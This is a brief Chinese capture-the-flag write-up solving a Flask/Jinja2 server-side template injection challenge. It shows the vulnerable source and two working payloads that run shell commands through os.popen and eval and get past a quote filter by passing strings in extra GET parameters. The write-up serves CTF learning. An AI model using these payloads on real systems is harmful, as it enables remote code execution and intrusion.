Werkzeug/1.0.1Python/3.8.7
试了下 web262 EXP 的不行了,换个其他的
为了看源码。
/?name={{lipsum.__globals__.os.popen(request.args.tari).read()}}&tari=cat%20/flag

看看源码
from flask import Flaskfrom flask import requestfrom flask import render_template_stringimport reapp = Flask(__name__)@app.route('/')def app_index():name = request.args.get('name')if name:if re.search(r"\'|\"",name,re.I):return ':('template = '''{%% block body %%}<div class="center-content error"><h1>Hello</h1><h3>%s</h3></div>{%% endblock %%}''' % (request.args.get('name'))return render_template_string(template)if __name__=="__main__":app.run(host='0.0.0.0',port=80)
原来是过滤了单引号,换种方式执行命令即可,这里通过 GET 参数进行传参即可
其他解法
/?name={{x.__init__.__globals__[request.args.x1].eval(request.args.x2)}}&x1=__builtins__&x2=__import__('os').popen('cat%20/flag').read()
利用 GET 请求参数传入被间接过滤而无法使用的值,然后利用字典访问,对于 Python 对象,eval 一下把字符串转换为Python代码即可。
